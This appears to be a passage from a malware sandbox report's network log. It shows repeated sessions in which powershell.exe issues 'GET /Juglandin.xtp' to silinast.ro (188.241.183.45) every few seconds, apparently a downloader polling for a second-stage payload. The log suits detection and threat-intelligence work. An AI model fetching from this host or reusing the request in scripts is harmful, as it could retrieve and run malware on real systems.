Oct 8, 2024 11:02:11.616449118 CEST	74	OUT	GET /Juglandin.xtp HTTP/1.1 Host: silinast.ro Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	62208	188.241.183.45	80	1336	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 11:02:15.766910076 CEST	74	OUT	GET /Juglandin.xtp HTTP/1.1 Host: silinast.ro Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	62209	188.241.183.45	80	1336	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 11:02:15.781862974 CEST	74	OUT	GET /Juglandin.xtp HTTP/1.1 Host: silinast.ro Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.6	62210	188.241.183.45	80	1336	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 11:02:20.132886887 CEST	74	OUT	GET /Juglandin.xtp HTTP/1.1 Host: silinast.ro Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.6	62211	188.241.183.45	80	1336	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 11:02:20.144181013 CEST	74	OUT	GET /Juglandin.xtp HTTP/1.1 Host: silinast.ro Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.6	62212	188.241.183.45	80	1336	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 11:02:24.156074047 CEST	74	OUT	GET /Juglandin.xtp HTTP/1.1 Host: silinast.ro Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.6	62213	188.241.183.45	80	1336	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 11:02:24.166860104 CEST	74	OUT	GET /Juglandin.xtp HTTP/1.1 Host: silinast.ro Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.6	62214	188.241.183.45	80	1336	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 11:02:28.204714060 CEST	74	OUT	GET /Juglandin.xtp HTTP/1.1 Host: silinast.ro Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.6	62215	188.241.183.45	80	1336	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 11:02:28.216144085 CEST	74	OUT	GET /Juglandin.xtp HTTP/1.1 Host: silinast.ro Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.6	62239	188.241.183.45	80	1336	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 11:02:32.239213943 CEST	74	OUT	GET /Juglandin.xtp HTTP/1.1 Host: silinast.ro Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.6	62240	188.241.183.45	80	1336	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 11:02:32.249557018 CEST	74	OUT	GET /Juglandin.xtp HTTP/1.1 Host: silinast.ro Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.6	62243	188.241.183.45	80	1336	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 11:02:36.328084946 CEST	74	OUT	GET /Juglandin.xtp HTTP/1.1 Host: silinast.ro Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.6	62244	188.241.183.45	80	1336	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 11:02:36.338532925 CEST	74	OUT	GET /Juglandin.xtp HTTP/1.1 Host: silinast.ro Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.6	62245	188.241.183.45	80	1336	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 11:02:40.343605042 CEST	74	OUT	GET /Juglandin.xtp HTTP/1.1 Host: silinast.ro Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.6	62246	188.241.183.45	80	1336	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 11:02:40.354054928 CEST	74	OUT	GET /Juglandin.xtp HTTP/1.1 Host: silinast.ro Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.6	62247	188.241.183.45	80	1336	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 11:02:44.418354034 CEST	74	OUT	GET /Juglandin.xtp HTTP/1.1 Host: silinast.ro Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.6	62248	188.241.183.45	80	1336	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 11:02:44.446125031 CEST	74	OUT	GET /Juglandin.xtp HTTP/1.1 Host: silinast.ro Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.6	62249	188.241.183.45	80	1336	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 11:02:48.951987982 CEST	74	OUT	GET /Juglandin.xtp HTTP/1.1 Host: silinast.ro Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.6	62250	188.241.183.45	80	1336	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 11:02:48.964099884 CEST	74	OUT	GET /Juglandin.xtp HTTP/1.1 Host: silinast.ro Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.6	62251	188.241.183.45	80	1336	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 11:02:53.156673908 CEST	74	OUT	GET /Juglandin.xtp HTTP/1.1 Host: silinast.ro Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.6	62252	188.241.183.45	80	1336	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 11:02:53.193588972 CEST	74	OUT	GET /Juglandin.xtp HTTP/1.1 Host: silinast.ro Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.6	62253	188.241.183.45	80	1336	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 11:02:57.203972101 CEST	74	OUT	GET /Juglandin.xtp HTTP/1.1 Host: silinast.ro Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.6	62254	188.241.183.45	80	1336	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 11:02:57.215179920 CEST	74	OUT	GET /Juglandin.xtp HTTP/1.1 Host: silinast.ro Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.6	62255	188.241.183.45	80	1336	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 11:03:01.235275984 CEST	74	OUT	GET /Juglandin.xtp HTTP/1.1 Host: silinast.ro Connection: Keep-Alive
Oct 8, 2024 11:03:01.539417028 CEST	74	OUT	GET /Juglandin.xtp HTTP/1.1 Host: silinast.ro Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.6	62256	188.241.183.45	80	1336	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 11:03:01.696805000 CEST	74	OUT	GET /Juglandin.xtp HTTP/1.1 Host: silinast.ro Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.6	62257	188.241.183.45	80	1336	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 11:03:05.735538006 CEST	74	OUT	GET /Juglandin.xtp HTTP/1.1 Host: silinast.ro Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.6	62258	188.241.183.45	80	1336	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 11:03:05.746838093 CEST	74	OUT	GET /Juglandin.xtp HTTP/1.1 Host: silinast.ro Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.6	62286	188.241.183.45	80	1336	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 11:03:09.766518116 CEST	74	OUT	GET /Juglandin.xtp HTTP/1.1 Host: silinast.ro Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.6	62287	188.241.183.45	80	1336	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 11:03:09.777503967 CEST	74	OUT	GET /Juglandin.xtp HTTP/1.1 Host: silinast.ro Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.6	62288	188.241.183.45	80	1336	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 11:03:13.819681883 CEST	74	OUT	GET /Juglandin.xtp HTTP/1.1 Host: silinast.ro Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.6	62289	188.241.183.45	80	1336	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 11:03:13.831142902 CEST	74	OUT	GET /Juglandin.xtp HTTP/1.1 Host: silinast.ro Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.6	62290	188.241.183.45	80	1336	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 11:03:17.846098900 CEST	74	OUT	GET /Juglandin.xtp HTTP/1.1 Host: silinast.ro Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.6	62291	188.241.183.45	80	1336	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 11:03:17.861368895 CEST	74	OUT	GET /Juglandin.xtp HTTP/1.1 Host: silinast.ro Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.6	62292	188.241.183.45	80	1336	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 11:03:21.875823975 CEST	74	OUT	GET /Juglandin.xtp HTTP/1.1 Host: silinast.ro Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.6	62293	188.241.183.45	80	1336	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 11:03:21.887191057 CEST	74	OUT	GET /Juglandin.xtp HTTP/1.1 Host: silinast.ro Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.6	62297	188.241.183.45	80	1336	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 11:03:25.922327042 CEST	74	OUT	GET /Juglandin.xtp HTTP/1.1 Host: silinast.ro Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.6	62298	188.241.183.45	80	1336	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 11:03:25.935725927 CEST	74	OUT	GET /Juglandin.xtp HTTP/1.1 Host: silinast.ro Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.6	62317	188.241.183.45	80	1336	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 11:03:30.031838894 CEST	74	OUT	GET /Juglandin.xtp HTTP/1.1 Host: silinast.ro Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.6	62318	188.241.183.45	80	1336	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 11:03:30.042226076 CEST	74	OUT	GET /Juglandin.xtp HTTP/1.1 Host: silinast.ro Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.6	62325	188.241.183.45	80	1336	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 11:03:34.672911882 CEST	74	OUT	GET /Juglandin.xtp HTTP/1.1 Host: silinast.ro Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.6	62326	188.241.183.45	80	1336	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 11:03:34.686928988 CEST	74	OUT	GET /Juglandin.xtp HTTP/1.1 Host: silinast.ro Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.6	62327	188.241.183.45	80	1336	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 11:03:38.706401110 CEST	74	OUT	GET /Juglandin.xtp HTTP/1.1 Host: silinast.ro Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.6	62328	188.241.183.45	80	1336	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 11:03:38.718795061 CEST	74	OUT	GET /Juglandin.xtp HTTP/1.1 Host: silinast.ro Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.6	62329	188.241.183.45	80	1336	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 11:03:42.751023054 CEST	74	OUT	GET /Juglandin.xtp HTTP/1.1 Host: silinast.ro Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.6	62330	188.241.183.45	80	1336	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 11:03:42.767398119 CEST	74	OUT	GET /Juglandin.xtp HTTP/1.1 Host: silinast.ro Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.6	62352	188.241.183.45	80	1336	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 11:03:46.808346987 CEST	74	OUT	GET /Juglandin.xtp HTTP/1.1 Host: silinast.ro Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.6	62353	188.241.183.45	80	1336	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 11:03:46.820125103 CEST	74	OUT	GET /Juglandin.xtp HTTP/1.1 Host: silinast.ro Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.6	62367	188.241.183.45	80	1336	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 11:03:50.851618052 CEST	74	OUT	GET /Juglandin.xtp HTTP/1.1 Host: silinast.ro Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.6	62368	188.241.183.45	80	1336	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 11:03:50.872802973 CEST	74	OUT	GET /Juglandin.xtp HTTP/1.1 Host: silinast.ro Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.6	62369	188.241.183.45	80	1336	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 11:03:54.891944885 CEST	74	OUT	GET /Juglandin.xtp HTTP/1.1 Host: silinast.ro Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.6	62370	188.241.183.45	80	1336	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 11:03:54.903109074 CEST	74	OUT	GET /Juglandin.xtp HTTP/1.1 Host: silinast.ro Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.6	62371	188.241.183.45	80	1336	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 11:03:58.991024017 CEST	74	OUT	GET /Juglandin.xtp HTTP/1.1 Host: silinast.ro Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.6	62372	188.241.183.45	80	1336	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 11:03:59.011378050 CEST	74	OUT	GET /Juglandin.xtp HTTP/1.1 Host: silinast.ro Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.6	62373	188.241.183.45	80	1336	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 11:04:03.051415920 CEST	74	OUT	GET /Juglandin.xtp HTTP/1.1 Host: silinast.ro Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.6	62374	188.241.183.45	80	1336	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 11:04:03.062908888 CEST	74	OUT	GET /Juglandin.xtp HTTP/1.1 Host: silinast.ro Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.6	62375	188.241.183.45	80	1336	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 11:04:07.163765907 CEST	74	OUT	GET /Juglandin.xtp HTTP/1.1 Host: silinast.ro Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.6	62376	188.241.183.45	80	1336	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 11:04:07.175585985 CEST	74	OUT	GET /Juglandin.xtp HTTP/1.1 Host: silinast.ro Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.6	62377	188.241.183.45	80	1336	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 11:04:11.206233025 CEST	74	OUT	GET /Juglandin.xtp HTTP/1.1 Host: silinast.ro Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.6	62378	188.241.183.45	80	1336	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 11:04:11.217703104 CEST	74	OUT	GET /Juglandin.xtp HTTP/1.1 Host: silinast.ro Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.6	62379	188.241.183.45	80	1336	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 11:04:15.237845898 CEST	74	OUT	GET /Juglandin.xtp HTTP/1.1 Host: silinast.ro Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.6	62380	188.241.183.45	80	1336	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 11:04:15.250338078 CEST	74	OUT	GET /Juglandin.xtp HTTP/1.1 Host: silinast.ro Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.6	62381	188.241.183.45	80	1336	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 11:04:19.285397053 CEST	74	OUT	GET /Juglandin.xtp HTTP/1.1 Host: silinast.ro Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.6	62382	188.241.183.45	80	1336	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 11:04:19.297791004 CEST	74	OUT	GET /Juglandin.xtp HTTP/1.1 Host: silinast.ro Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.6	62383	188.241.183.45	80	1336	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 11:04:23.439932108 CEST	74	OUT	GET /Juglandin.xtp HTTP/1.1 Host: silinast.ro Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.6	62384	188.241.183.45	80	1336	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 11:04:23.452800989 CEST	74	OUT	GET /Juglandin.xtp HTTP/1.1 Host: silinast.ro Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.6	62387	188.241.183.45	80	1336	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 11:04:27.487709999 CEST	74	OUT	GET /Juglandin.xtp HTTP/1.1 Host: silinast.ro Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.6	62388	188.241.183.45	80	1336	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 11:04:27.499104977 CEST	74	OUT	GET /Juglandin.xtp HTTP/1.1 Host: silinast.ro Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.6	62389	188.241.183.45	80	1336	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 11:04:31.521341085 CEST	74	OUT	GET /Juglandin.xtp HTTP/1.1 Host: silinast.ro Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.6	62390	188.241.183.45	80	1336	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 11:04:31.535413027 CEST	74	OUT	GET /Juglandin.xtp HTTP/1.1 Host: silinast.ro Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.6	62391	188.241.183.45	80	1336	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 11:04:35.550025940 CEST	74	OUT	GET /Juglandin.xtp HTTP/1.1 Host: silinast.ro Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.6	62392	188.241.183.45	80	1336	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 11:04:35.568541050 CEST	74	OUT	GET /Juglandin.xtp HTTP/1.1 Host: silinast.ro Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.6	62393	188.241.183.45	80	1336	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 11:04:39.754349947 CEST	74	OUT	GET /Juglandin.xtp HTTP/1.1 Host: silinast.ro Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.6	62394	188.241.183.45	80	1336	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 11:04:39.767498970 CEST	74	OUT	GET /Juglandin.xtp HTTP/1.1 Host: silinast.ro Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.6	62395	188.241.183.45	80	1336	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 11:04:43.799720049 CEST	74	OUT	GET /Juglandin.xtp HTTP/1.1 Host: silinast.ro Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.6	62396	188.241.183.45	80	1336	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 11:04:43.903882980 CEST	74	OUT	GET /Juglandin.xtp HTTP/1.1 Host: silinast.ro Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.6	62397	188.241.183.45	80	1336	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 11:04:48.454600096 CEST	74	OUT	GET /Juglandin.xtp HTTP/1.1 Host: silinast.ro Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.6	62398	188.241.183.45	80	1336	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 11:04:48.467355013 CEST	74	OUT	GET /Juglandin.xtp HTTP/1.1 Host: silinast.ro Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.6	62399	188.241.183.45	80	1336	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 11:04:52.803606033 CEST	74	OUT	GET /Juglandin.xtp HTTP/1.1 Host: silinast.ro Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.6	62400	188.241.183.45	80	1336	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 11:04:52.817888021 CEST	74	OUT	GET /Juglandin.xtp HTTP/1.1 Host: silinast.ro Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.6	62401	188.241.183.45	80	1336	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 11:04:56.862248898 CEST	74	OUT	GET /Juglandin.xtp HTTP/1.1 Host: silinast.ro Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.6	62402	188.241.183.45	80	1336	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 11:04:56.875790119 CEST	74	OUT	GET /Juglandin.xtp HTTP/1.1 Host: silinast.ro Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.6	62403	188.241.183.45	80	1336	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
